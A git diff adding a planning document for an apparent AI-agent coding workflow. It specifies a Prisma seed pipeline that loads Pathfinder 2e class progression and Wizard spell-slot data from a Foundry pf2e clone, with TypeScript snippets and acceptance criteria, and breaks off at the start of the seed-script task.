- `server/src/modules/leveling/lib/prereq-evaluator.ts` — FOUND
|
||||
- `server/src/modules/leveling/lib/prereq-evaluator.spec.ts` — FOUND
|
||||
- `server/src/modules/leveling/lib/recompute-derived-stats.ts` — FOUND
|
||||
- `server/src/modules/leveling/lib/recompute-derived-stats.spec.ts` — FOUND
|
||||
- `server/src/modules/leveling/lib/compute-applicable-steps.ts` — FOUND
|
||||
- `server/src/modules/leveling/lib/compute-applicable-steps.spec.ts` — FOUND
|
||||
- `server/src/modules/leveling/lib/apply-attribute-boost.ts` — FOUND (Rule 3 dependency)
|
||||
- Commit 7e40449 — FOUND
|
||||
- Commit 4d2cb5e — FOUND
|
||||
- Commit 3a4267d — FOUND
|
||||
- Commit f189750 — FOUND
|
||||
- Commit 66d9d5c — FOUND
|
||||
- Commit da82d9b — FOUND
|
||||
- Commit 8dd55b6 — FOUND
|
||||
- Commit 6011024 — FOUND
|
||||
- Commit 70ec7bb — FOUND
|
||||
- Commit de07fc8 — FOUND
|
||||
- Commit d9ed18c — FOUND
|
||||
- Commit be6eaee — FOUND
|
||||
952
.planning/phases/01-level-up-pf2e-regelkonform/01-03-PLAN.md
Normal file
952
.planning/phases/01-level-up-pf2e-regelkonform/01-03-PLAN.md
Normal file
@@ -0,0 +1,952 @@
|
||||
---
|
||||
phase: 01-level-up-pf2e-regelkonform
|
||||
plan: 03
|
||||
type: execute
|
||||
wave: 2
|
||||
depends_on: ["01-01", "01-02"]
|
||||
files_modified:
|
||||
- server/prisma/seed-class-progression.ts
|
||||
- server/prisma/data/spell-slot-overlays.ts
|
||||
- server/prisma/data/class-feature-options.ts
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md
|
||||
autonomous: true
|
||||
requirements: [LVL-08, LVL-14]
|
||||
tags: [seeding, prisma, foundry-pf2e, class-progression, spellcaster, level-up, pipeline]
|
||||
must_haves:
|
||||
truths:
|
||||
- "Foundry pf2e clone is documented in SEED-README.md (clone command + pinned tag placeholder); .gitignore already excludes the clone path (Plan 01 Task 3 Step 5)."
|
||||
- "After running `npm run db:seed:class-progression`, the seed pipeline reads Foundry pf2e class JSONs from `server/prisma/data/foundry-pf2e/packs/classes/` and merges with the hand-curated overlays."
|
||||
- "After seed, the ClassProgression table contains at least 20 rows for Wizard (L1..L20) as the worked-example class — verifying the pipeline end-to-end."
|
||||
- "After seed, Wizard L1..L19 have non-null spellSlotIncrement / cantripIncrement entries from spell-slot-overlays.ts, AND Wizard L1 has choiceType='school' + choiceOptionsRef='wizard-school'."
|
||||
- "After seed, at least 1 ClassFeatureOption row exists for optionsRef='wizard-school' (Wizard School L1 worked example)."
|
||||
- "Seed script is idempotent — running it twice does not duplicate rows; second run reports 0 created / N updated."
|
||||
- "Seed script fails loudly with a documented error message pointing the dev to SEED-README.md when the Foundry clone is missing."
|
||||
- "spell-slot-overlays.ts and class-feature-options.ts are STRUCTURED so Plan 03b can simply append entries — no schema or shape changes required between plans."
|
||||
artifacts:
|
||||
- path: "server/prisma/seed-class-progression.ts"
|
||||
provides: "Idempotent seed transforming Foundry pf2e class JSONs + spell-slot overlay → ClassProgression + ClassFeatureOption rows. The pipeline is generic — it iterates over D16_CLASS_NAMES so adding new classes is data-only (Plan 03b)."
|
||||
exports: ["main (executed when run via tsx)"]
|
||||
- path: "server/prisma/data/spell-slot-overlays.ts"
|
||||
provides: "Type-safe overlay file. Phase 1 ships Wizard fully populated as the worked example; Plan 03b appends entries for Cleric/Druid/Witch/Bard/Sorcerer/Oracle and the empty arrays for non-casters."
|
||||
contains: "SPELL_SLOT_OVERLAY"
|
||||
- path: "server/prisma/data/class-feature-options.ts"
|
||||
provides: "Type-safe option-data file. Phase 1 ships at least 1 Wizard School entry as the worked example; Plan 03b appends ≥49 more entries (Cleric Doctrines, Champion Causes, Sorcerer Bloodlines, etc. — total joint goal: ≥50)."
|
||||
contains: "CLASS_FEATURE_OPTIONS"
|
||||
- path: ".planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md"
|
||||
provides: "Developer instructions: how to clone Foundry pf2e at the pinned tag and run the seed"
|
||||
contains: "git clone"
|
||||
key_links:
|
||||
- from: "seed-class-progression.ts"
|
||||
to: "ClassProgression table"
|
||||
via: "prisma.classProgression.create / update"
|
||||
pattern: "prisma\\.classProgression\\."
|
||||
- from: "seed-class-progression.ts"
|
||||
to: "ClassFeatureOption table"
|
||||
via: "prisma.classFeatureOption.create / update"
|
||||
pattern: "prisma\\.classFeatureOption\\."
|
||||
- from: "seed-class-progression.ts"
|
||||
to: "spell-slot-overlays.ts"
|
||||
via: "import SPELL_SLOT_OVERLAY"
|
||||
pattern: "from ['\"].*spell-slot-overlays['\"]"
|
||||
- from: "seed-class-progression.ts"
|
||||
to: "Foundry pf2e clone"
|
||||
via: "fs.readFileSync of packs/classes/*.json"
|
||||
pattern: "foundry-pf2e.*packs/classes"
|
||||
---
|
||||
|
||||
<objective>
|
||||
Build the Foundry-pf2e-driven seed pipeline that populates the `ClassProgression` and `ClassFeatureOption` tables. This plan owns the **pipeline** (the seed script + the type definitions of the overlay files + Wizard as the fully-curated worked example). Plan 03b runs sequentially in Wave 3 immediately after this plan (sequential because both plans write to spell-slot-overlays.ts and class-feature-options.ts — file-ownership conflict) and owns the **bulk curation** of remaining caster overlays (≥120 spell-slot entries) and remaining class-feature-options (≥49 more option rows).
|
||||
|
||||
Why split: the curation work for the other 6 caster classes (Cleric, Druid, Witch, Bard, Sorcerer, Oracle) and the 13 other classes' L1 choice points is data-entry from Archives of Nethys — independent rows, no shared logic. Pulling it into its own plan gives the curation a separate review surface; Plan 03b runs sequentially in Wave 3 immediately after this plan (sequential because both plans write to spell-slot-overlays.ts and class-feature-options.ts — file-ownership conflict) and reuses the type contracts established here without touching the seed script.
|
||||
|
||||
Purpose: Plan 04's atomic commit transaction needs ClassProgression rows to know what each (className, level) grants. The pipeline must work end-to-end with Wizard (the worked example) before Plan 03b appends data for the rest.
|
||||
|
||||
Output: Seed script + two hand-curated data modules (Wizard fully populated + types defined) + dev README with cloning instructions. Plan 03b appends to the data modules without touching the seed script.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@$HOME/.claude/get-shit-done/workflows/execute-plan.md
|
||||
@$HOME/.claude/get-shit-done/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/PROJECT.md
|
||||
@.planning/REQUIREMENTS.md
|
||||
@.planning/phases/01-level-up-pf2e-regelkonform/01-CONTEXT.md
|
||||
@.planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md
|
||||
@.planning/phases/01-level-up-pf2e-regelkonform/01-PATTERNS.md
|
||||
@.planning/phases/01-level-up-pf2e-regelkonform/01-01-SUMMARY.md
|
||||
@.planning/phases/01-level-up-pf2e-regelkonform/01-02-SUMMARY.md
|
||||
@server/prisma/seed-equipment.ts
|
||||
@server/prisma/seed.ts
|
||||
|
||||
<interfaces>
|
||||
<!-- Foundry pf2e class JSON shape (from RESEARCH.md §Code Examples #1, lines 686-717) -->
|
||||
<!-- VERIFIED via WebFetch of packs/classes/fighter.json on 2026-04-27 -->
|
||||
```jsonc
|
||||
{
|
||||
"_id": "...",
|
||||
"name": "Fighter",
|
||||
"type": "class",
|
||||
"system": {
|
||||
"hp": 10,
|
||||
"perception": 2,
|
||||
"keyAbility": ["dex", "str"],
|
||||
"spellcasting": 0,
|
||||
"attacks": { "simple": 2, "martial": 2, "advanced": 1, "unarmed": 2 },
|
||||
"defenses": { "light": 1, "medium": 1, "heavy": 1, "unarmored": 1 },
|
||||
"savingThrows": { "fortitude": 2, "reflex": 2, "will": 1 },
|
||||
"trainedSkills": { "value": [], "additional": 3 },
|
||||
"classFeatLevels": { "value": [1, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20] },
|
||||
"ancestryFeatLevels":{ "value": [1, 5, 9, 13, 17] },
|
||||
"skillFeatLevels": { "value": [2, 4, 6, 8, 10, 12, 14, 16, 18, 20] },
|
||||
"generalFeatLevels": { "value": [3, 7, 11, 15, 19] },
|
||||
"items": {
|
||||
"u8k07": { "img": "...", "level": 5, "name": "Fighter Weapon Mastery", "uuid": "Compendium.pf2e.classfeatures.Item.Fighter Weapon Mastery" }
|
||||
// …
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
<!-- Existing seed pattern (server/prisma/seed-equipment.ts lines 1-8) -->
|
||||
```typescript
|
||||
import 'dotenv/config';
|
||||
import * as fs from 'fs';
|
||||
import * as path from 'path';
|
||||
import { PrismaClient } from '../src/generated/prisma/client.js';
|
||||
import { PrismaPg } from '@prisma/adapter-pg';
|
||||
|
||||
const adapter = new PrismaPg({ connectionString: process.env.DATABASE_URL });
|
||||
const prisma = new PrismaClient({ adapter });
|
||||
```
|
||||
|
||||
<!-- Idempotent pattern (server/prisma/seed-equipment.ts lines 105-130) -->
|
||||
```typescript
|
||||
for (const item of data) {
|
||||
const existing = await prisma.x.findUnique({ where: { unique_combo } });
|
||||
if (existing) {
|
||||
await prisma.x.update({ where: { id: existing.id }, data: { ... } });
|
||||
updated++;
|
||||
} else {
|
||||
await prisma.x.create({ data: { ... } });
|
||||
created++;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
<!-- Spell-slot overlay shape (RESEARCH.md §Code Examples #6, lines 897-924) -->
|
||||
```typescript
|
||||
export const SPELL_SLOT_OVERLAY: Record<string, Array<{
|
||||
level: number;
|
||||
spellSlotIncrement?: { tradition: SpellTradition; spellLevel: number; count: number };
|
||||
cantripIncrement?: number;
|
||||
repertoireIncrement?: number;
|
||||
}>> = { Wizard: [...], Sorcerer: [...], ... };
|
||||
```
|
||||
|
||||
<!-- The 16 classes in D-16 scope -->
|
||||
<!-- Alchemist, Barbarian, Bard, Champion, Cleric, Druid, Fighter, Investigator, Monk, Oracle, Ranger, Rogue, Sorcerer, Swashbuckler, Witch, Wizard -->
|
||||
|
||||
<!-- Plan 01 schema's compound unique keys (from 01-01-PLAN.md Task 1) -->
|
||||
<!-- @@unique([className, level]) on ClassProgression -->
|
||||
<!-- @@unique([optionsRef, optionKey]) on ClassFeatureOption -->
|
||||
<!-- Prisma generates these as `className_level` and `optionsRef_optionKey` field names. -->
|
||||
<!-- If Plan 01's schema declarations are reordered, Prisma swaps the names — -->
|
||||
<!-- the seed script below assumes the order shown above. -->
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="auto" tdd="false">
|
||||
<name>Task 1: Dev README for the Foundry pf2e clone path</name>
|
||||
<files>
|
||||
.planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md
|
||||
</files>
|
||||
<read_first>
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md (lines 648-654 — Pitfall 5: Foundry data shape; lines 285-289 — Project Structure)
|
||||
- .gitignore (must already contain `server/prisma/data/foundry-pf2e/` from Plan 01 Task 3 Step 5 — verify before this task)
|
||||
</read_first>
|
||||
<action>
|
||||
Create `.planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md` with the following content:
|
||||
|
||||
```markdown
|
||||
# Phase 1 — ClassProgression Seed README
|
||||
|
||||
The seed script `server/prisma/seed-class-progression.ts` populates the `ClassProgression`
|
||||
and `ClassFeatureOption` tables from the Foundry pf2e system repository (license: Apache 2.0
|
||||
+ OGL 1.0a + Paizo Community Use Policy — verified 2026-04-27).
|
||||
|
||||
## One-time dev setup
|
||||
|
||||
Clone the pinned Foundry pf2e tag into the gitignored data folder:
|
||||
|
||||
```bash
|
||||
cd server/prisma/data
|
||||
git clone --depth 1 --branch <PINNED_TAG> https://github.com/foundryvtt/pf2e.git foundry-pf2e
|
||||
```
|
||||
|
||||
`server/prisma/data/foundry-pf2e/` is excluded from version control (.gitignore line added in Plan 01).
|
||||
Do NOT commit the clone. Re-clone after a Foundry pf2e major version ships.
|
||||
|
||||
**Pinned tag:** `<TAG_DECIDED_BY_EXECUTOR>` (record the chosen tag here when this task runs;
|
||||
the executor selects a stable release branch from `https://github.com/foundryvtt/pf2e/tags`
|
||||
that includes Core Rulebook + APG content for all 16 D-16 classes).
|
||||
|
||||
## Run the seed
|
||||
|
||||
```bash
|
||||
cd server
|
||||
npm run db:seed:class-progression
|
||||
```
|
||||
|
||||
Idempotent: running twice does not duplicate rows. Console output reports `created` and
|
||||
`updated` counts plus any errors.
|
||||
|
||||
## Failure modes
|
||||
|
||||
- **"Foundry pf2e clone not found at server/prisma/data/foundry-pf2e/packs/classes/"** —
|
||||
run the `git clone` step above.
|
||||
- **"Class JSON does not match expected schema"** — Foundry pf2e changed the JSON shape
|
||||
between major versions. Update the seed parser or pin to an older tag.
|
||||
|
||||
## What gets seeded (cumulative across Plan 03 and Plan 03b)
|
||||
|
||||
- **ClassProgression** rows: 16 classes × 20 levels = 320 rows, with `grants[]`,
|
||||
`proficiencyChanges`, `spellSlotIncrement`, `cantripIncrement`, `repertoireIncrement`,
|
||||
`choiceType`, `choiceOptionsRef`. Plan 03 ships Wizard L1..L20 fully (worked example);
|
||||
Plan 03b adds remaining 15 classes' L1..L20 rows (data-only — Plan 03's pipeline already
|
||||
seeds 320 rows; Plan 03b just enriches them with overlay data).
|
||||
- **ClassFeatureOption** rows: hand-curated Cleric Doctrines, Wizard Schools, Champion
|
||||
Causes, Sorcerer Bloodlines (where L1-set), Druid Orders, etc. Joint goal across both
|
||||
plans: ≥50 rows. Plan 03 ships at least 1 (Wizard School worked example); Plan 03b
|
||||
ships ≥49 more.
|
||||
- Spell-slot/cantrip/repertoire progressions come from the hand-curated overlay
|
||||
`server/prisma/data/spell-slot-overlays.ts` because Foundry encodes them in prose
|
||||
(Pitfall #6). Plan 03 ships Wizard's full L1..L19 entries; Plan 03b ships the other
|
||||
6 caster classes plus empty arrays for non-casters.
|
||||
```
|
||||
|
||||
Note: The `<PINNED_TAG>` placeholder is filled in during execution when the dev/executor selects a tag.
|
||||
|
||||
Verify: `ls .planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md` shows the file.
|
||||
The Foundry clone directory is created later by the dev (Task 5 step 1) following the README.
|
||||
</action>
|
||||
<verify>
|
||||
<automated>test -f .planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md && grep -c "git clone" .planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md</automated>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- File `.planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md` exists
|
||||
- File contains the literal string `git clone`
|
||||
- File contains the literal string `npm run db:seed:class-progression`
|
||||
- File contains the literal string `Apache 2.0` (license declaration)
|
||||
- File contains a "Pinned tag" reference (placeholder OK if dev hasn't picked one yet)
|
||||
- File mentions both Plan 03 (Wizard worked example) AND Plan 03b (bulk curation)
|
||||
- No file is created inside `server/prisma/data/foundry-pf2e/` (the directory is dev-time only — gitignored)
|
||||
</acceptance_criteria>
|
||||
<done>
|
||||
Dev README documents the clone step and the run step, and explicitly references the Plan 03 / Plan 03b split. No tracked files inside the gitignored data dir.
|
||||
</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="false">
|
||||
<name>Task 2: Spell-slot overlay file — types + Wizard worked example</name>
|
||||
<files>server/prisma/data/spell-slot-overlays.ts</files>
|
||||
<read_first>
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md (lines 656-661 — Pitfall #6 + lines 897-924 — Code Examples #6 shape)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-CONTEXT.md (D-16 — class scope; D-17 — Foundry as source; D-18 — spontaneous casters get repertoire)
|
||||
- server/src/modules/leveling/lib/types.ts (Proficiency, AbilityAbbreviation type vocabulary; SpellTradition can be defined here in the overlay file)
|
||||
- Archives of Nethys Wizard spell table: https://2e.aonprd.com/Classes.aspx?ID=18 (or current canonical URL)
|
||||
</read_first>
|
||||
<action>
|
||||
Create `server/prisma/data/spell-slot-overlays.ts` containing:
|
||||
1. The TS types (`SpellTradition`, `SpellSlotOverlayEntry`) — these are the contract Plan 03b appends to.
|
||||
2. Wizard fully populated for L1..L19 (the worked example used by the seed pipeline test in Task 5).
|
||||
3. Stub keys for the other 15 D-16 classes set to empty arrays — Plan 03b populates these.
|
||||
|
||||
**File contents:**
|
||||
|
||||
```typescript
|
||||
/**
|
||||
* Hand-curated spell-slot / cantrip / repertoire progression overlay.
|
||||
*
|
||||
* WHY HAND-CURATED: Foundry pf2e encodes slot tables in description prose, not machine-
|
||||
* readable rules (Pitfall #6 / verified 2026-04-27 against `wizard-spellcasting.json`).
|
||||
* NLP-parsing prose is fragile; the canonical PF2e tables fit in ~300 lines and are stable
|
||||
* across reprints.
|
||||
*
|
||||
* SOURCE: Archives of Nethys — Pathfinder 2e Player Core + Advanced Player's Guide
|
||||
* (https://2e.aonprd.com). Per-class spell-slot tables, cantrip counts, and repertoire
|
||||
* sizes (spontaneous casters only).
|
||||
*
|
||||
* SCOPE: 16 D-16 classes (Core + APG). This file (Plan 03) ships the type definitions
|
||||
* and Wizard fully populated as the worked example. Plan 03b appends entries for the
|
||||
* remaining 6 caster classes (Cleric, Druid, Witch, Bard, Sorcerer, Oracle) and the
|
||||
* empty-array entries for non-casters.
|
||||
*
|
||||
* SPONTANEOUS vs PREPARED: Spontaneous casters (Bard, Sorcerer, Oracle) get
|
||||
* repertoireIncrement entries on level-up. Prepared casters (Cleric, Druid, Witch, Wizard)
|
||||
* get spellSlotIncrement only. Both get cantripIncrement at L1.
|
||||
*/
|
||||
|
||||
export type SpellTradition = 'ARCANE' | 'DIVINE' | 'OCCULT' | 'PRIMAL';
|
||||
|
||||
export interface SpellSlotOverlayEntry {
|
||||
level: number;
|
||||
spellSlotIncrement?: { tradition: SpellTradition; spellLevel: number; count: number };
|
||||
cantripIncrement?: number;
|
||||
repertoireIncrement?: number;
|
||||
}
|
||||
|
||||
/**
|
||||
* Each class maps to an array of overlay entries. Multiple entries per level are allowed
|
||||
* (e.g. L1 Wizard gets 5 cantrips AND 2 grade-1 slots — two separate entries).
|
||||
* Order within a level does not matter — the seed script merges them per (class, level).
|
||||
*/
|
||||
export const SPELL_SLOT_OVERLAY: Record<string, SpellSlotOverlayEntry[]> = {
|
||||
// === PREPARED CASTER — WIZARD (worked example, fully populated in Plan 03) ===
|
||||
Wizard: [
|
||||
{ level: 1, cantripIncrement: 5 },
|
||||
{ level: 1, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 1, count: 2 } },
|
||||
{ level: 2, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 1, count: 1 } },
|
||||
{ level: 3, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 2, count: 2 } },
|
||||
{ level: 4, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 2, count: 1 } },
|
||||
{ level: 5, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 3, count: 2 } },
|
||||
{ level: 6, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 3, count: 1 } },
|
||||
{ level: 7, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 4, count: 2 } },
|
||||
{ level: 8, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 4, count: 1 } },
|
||||
{ level: 9, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 5, count: 2 } },
|
||||
{ level: 10, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 5, count: 1 } },
|
||||
{ level: 11, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 6, count: 2 } },
|
||||
{ level: 12, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 6, count: 1 } },
|
||||
{ level: 13, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 7, count: 2 } },
|
||||
{ level: 14, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 7, count: 1 } },
|
||||
{ level: 15, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 8, count: 2 } },
|
||||
{ level: 16, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 8, count: 1 } },
|
||||
{ level: 17, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 9, count: 2 } },
|
||||
{ level: 18, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 9, count: 1 } },
|
||||
// L19 Magnum Opus = 1 grade-10 slot per day
|
||||
{ level: 19, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 10, count: 1 } },
|
||||
// L20: no slot increment (capstone is qualitative)
|
||||
],
|
||||
|
||||
// === STUBS — populated by Plan 03b ===
|
||||
// Caster stubs (Plan 03b will replace [] with full L1..L20 entries):
|
||||
Cleric: [],
|
||||
Druid: [],
|
||||
Witch: [],
|
||||
Bard: [],
|
||||
Sorcerer: [],
|
||||
Oracle: [],
|
||||
Champion: [], // focus-only; minimal entries
|
||||
|
||||
// Non-caster stubs (Plan 03b confirms these stay empty):
|
||||
Alchemist: [],
|
||||
Barbarian: [],
|
||||
Fighter: [],
|
||||
Investigator: [],
|
||||
Monk: [],
|
||||
Ranger: [],
|
||||
Rogue: [],
|
||||
Swashbuckler: [],
|
||||
};
|
||||
```
|
||||
|
||||
**Constraint:** No `: any` types. Every entry strictly typed against `SpellSlotOverlayEntry`.
|
||||
|
||||
**Constraint:** Every D-16 class name must appear as a key (even with `[]`) so Plan 03b can simply replace `[]` with curated entries — preventing accidental missing-key bugs in the seed.
|
||||
</action>
|
||||
<verify>
|
||||
<automated>cd server && npx tsc --noEmit -p tsconfig.json 2>&1 | grep -E "spell-slot-overlays" || echo "tsc clean"</automated>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- File `server/prisma/data/spell-slot-overlays.ts` exists
|
||||
- File exports `SPELL_SLOT_OVERLAY`
|
||||
- File exports `SpellTradition` type and `SpellSlotOverlayEntry` interface
|
||||
- All 16 D-16 class names appear as keys in the SPELL_SLOT_OVERLAY object (Alchemist, Barbarian, Bard, Champion, Cleric, Druid, Fighter, Investigator, Monk, Oracle, Ranger, Rogue, Sorcerer, Swashbuckler, Witch, Wizard)
|
||||
- Wizard array has at least 19 entries spanning L1..L19 (verifiable: count `level:` keys in Wizard array)
|
||||
- Cleric/Druid/Witch/Bard/Sorcerer/Oracle keys exist (their values may be `[]` — those are populated by Plan 03b)
|
||||
- File contains NO `: any` outside comments
|
||||
- `cd server && npx tsc --noEmit` exits 0
|
||||
</acceptance_criteria>
|
||||
<done>
|
||||
Spell-slot overlay file exists with types + Wizard fully populated + stub keys for the other 15 classes. Plan 03b can append without touching shape.
|
||||
</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="false">
|
||||
<name>Task 3: Class-feature-options file — types + Wizard School worked example</name>
|
||||
<files>server/prisma/data/class-feature-options.ts</files>
|
||||
<read_first>
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-CONTEXT.md (D-19 — Wahl-Klassenmerkmale; D-15 — choiceOptionsRef; D-16 — class scope)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md (lines 802-813 — ClassFeatureOption schema with grants + proficiencyChanges; lines 1064-1067 — Open Question Q2 RESOLVED recommendation)
|
||||
- server/prisma/schema.prisma (post-Plan-01 — ClassFeatureOption model)
|
||||
- Archives of Nethys Wizard schools entry
|
||||
</read_first>
|
||||
<action>
|
||||
Create `server/prisma/data/class-feature-options.ts` containing:
|
||||
1. The TS interface `ClassFeatureOptionEntry` — the contract Plan 03b appends to.
|
||||
2. At least 1 Wizard School entry (Battle Magic) as the worked example.
|
||||
3. Section-headed comment blocks for all the other classes with `// (populated by Plan 03b)` placeholders so Plan 03b knows exactly where to append.
|
||||
|
||||
**File contents:**
|
||||
|
||||
```typescript
|
||||
/**
|
||||
* Hand-curated ClassFeatureOption seed data for D-19 wizard sub-steps.
|
||||
*
|
||||
* Each entry's `optionsRef` matches a `ClassProgression.choiceOptionsRef` so the wizard
|
||||
* can resolve choice → option list at runtime.
|
||||
*
|
||||
* `grants` and `proficiencyChanges` are option-level mechanical effects applied at commit
|
||||
* (per RESEARCH.md §Open Question Q2 RESOLVED — symmetric with ClassProgression so the
|
||||
* recompute pipeline is uniform).
|
||||
*
|
||||
* SOURCE: Archives of Nethys — PF2e Player Core + APG class entries.
|
||||
* SCOPE: 16 D-16 classes' L1 (and other) choice points.
|
||||
* SPLIT: Plan 03 ships Wizard School (worked example, ≥1 entry). Plan 03b ships the
|
||||
* remaining classes — joint goal across both plans is ≥50 entries.
|
||||
*/
|
||||
|
||||
import type { Proficiency } from '../../src/modules/leveling/lib/types';
|
||||
|
||||
export interface ClassFeatureOptionEntry {
|
||||
optionsRef: string; // matches ClassProgression.choiceOptionsRef
|
||||
optionKey: string; // unique within optionsRef
|
||||
name: string; // English (German via TranslationsService at runtime)
|
||||
nameGerman?: string; // optional pre-translated German name
|
||||
description: string; // English
|
||||
grants: string[]; // class-feature names this option awards (e.g. ["Cloistered Cleric", "Domain Spell"])
|
||||
proficiencyChanges?: Partial<Record<'fortitude' | 'reflex' | 'will' | 'perception' | 'classDc' | 'ac', Proficiency>>;
|
||||
}
|
||||
|
||||
export const CLASS_FEATURE_OPTIONS: ClassFeatureOptionEntry[] = [
|
||||
// ============================================================
|
||||
// === WIZARD SCHOOL — worked example (Plan 03 ships ≥1 entry)
|
||||
// === optionsRef: 'wizard-school'
|
||||
// ============================================================
|
||||
{
|
||||
optionsRef: 'wizard-school',
|
||||
optionKey: 'battle-magic',
|
||||
name: 'School of Battle Magic',
|
||||
description: 'You focus on offensive evocations and battlefield control, learning to bring overwhelming magical force to bear against your foes.',
|
||||
grants: ['Battle Magic Curriculum', 'School Spell: Force Bolt'],
|
||||
},
|
||||
// (Plan 03b appends remaining Wizard schools: civic-wizardry, mentalism, protean-form, unified-magical-theory, universalist)
|
||||
|
||||
// ============================================================
|
||||
// === Plan 03b appends entries below — section anchors:
|
||||
// ============================================================
|
||||
// === CLERIC DOCTRINE (optionsRef: 'cleric-doctrine') — Plan 03b
|
||||
// === CHAMPION CAUSE (optionsRef: 'champion-cause') — Plan 03b
|
||||
// === DRUID ORDER (optionsRef: 'druid-order') — Plan 03b
|
||||
// === SORCERER BLOOD. (optionsRef: 'sorcerer-bloodline') — Plan 03b
|
||||
// === BARD MUSE (optionsRef: 'bard-muse') — Plan 03b
|
||||
// === BARBARIAN INST. (optionsRef: 'barbarian-instinct') — Plan 03b
|
||||
// === WITCH PATRON (optionsRef: 'witch-patron') — Plan 03b
|
||||
// === ORACLE MYSTERY (optionsRef: 'oracle-mystery') — Plan 03b
|
||||
// === INVESTIGATOR (optionsRef: 'investigator-methodology') — Plan 03b
|
||||
// === RANGER EDGE (optionsRef: 'ranger-edge') — Plan 03b
|
||||
// === ROGUE RACKET (optionsRef: 'rogue-racket') — Plan 03b
|
||||
// === SWASHBUCKLER (optionsRef: 'swashbuckler-style') — Plan 03b
|
||||
// === ALCHEMIST RES. (optionsRef: 'alchemist-research-field') — Plan 03b
|
||||
// (Fighter / Monk: no L1 choice — Fighter L5 weapon-mastery and Monk L1 stance via class feats)
|
||||
];
|
||||
```
|
||||
|
||||
**Cross-references the executor (and Plan 03b) must maintain:**
|
||||
- `optionsRef` strings must match the `choiceOptionsRef` values used in `seed-class-progression.ts` (Task 4 below) when it sets `choiceType` and `choiceOptionsRef` on the L1 ClassProgression rows.
|
||||
- `optionKey` values are stable identifiers — once chosen, do not rename (would break existing commits).
|
||||
- `nameGerman` may be left undefined in this seed — the TranslationsService picks up English `name` and translates on demand (D-15).
|
||||
|
||||
**Constraint:** No `any` types. Type-checked.
|
||||
|
||||
**Constraint:** Alchemist research fields (Plan 03b will add) cross-reference the existing `ResearchField` enum in `server/prisma/schema.prisma` (BOMBER, CHIRURGEON, etc.) — `optionKey` values for Alchemist must match the enum values lowercase-kebab so the existing `CharacterAlchemyState.researchField` column can be set from the option pick.
|
||||
</action>
|
||||
<verify>
|
||||
<automated>cd server && npx tsc --noEmit -p tsconfig.json 2>&1 | grep -E "class-feature-options" || echo "tsc clean"</automated>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- File `server/prisma/data/class-feature-options.ts` exists
|
||||
- File exports `CLASS_FEATURE_OPTIONS` array
|
||||
- File exports `ClassFeatureOptionEntry` interface
|
||||
- Array contains at least 1 entry with `optionsRef: 'wizard-school'` (Plan 03 worked example)
|
||||
- Every entry has a non-empty `optionsRef`, `optionKey`, `name`, `description`, `grants` field
|
||||
- File contains anchor comments naming all the other class optionsRef strings (so Plan 03b knows exactly where to insert)
|
||||
- File contains NO `: any` outside comments
|
||||
- `cd server && npx tsc --noEmit` exits 0
|
||||
</acceptance_criteria>
|
||||
<done>
|
||||
Class-feature options file exists with types + Wizard School worked example + anchor comments for Plan 03b. The Wizard L1 choice is functional end-to-end after Task 5.
|
||||
</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="false">
|
||||
<name>Task 4: Seed script — Foundry pf2e + overlays → ClassProgression + ClassFeatureOption</name>
|
||||
<files>server/prisma/seed-class-progression.ts</files>
|
||||
<read_first>
|
||||
- server/prisma/seed-equipment.ts (canonical analog — imports, idempotent pattern, console output style)
|
||||
- server/prisma/data/spell-slot-overlays.ts (Task 2 output)
|
||||
- server/prisma/data/class-feature-options.ts (Task 3 output)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md (lines 686-725 — Foundry shape + mapping; lines 538-575 — seed pattern from PATTERNS.md analog)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-PATTERNS.md (lines 537-587 — exact seed pattern)
|
||||
- server/package.json (db:seed:class-progression script wired in Plan 01 Task 3)
|
||||
- server/prisma/schema.prisma (ClassProgression and ClassFeatureOption models — verify the `@@unique` order before assuming compound-key field names)
|
||||
</read_first>
|
||||
<action>
|
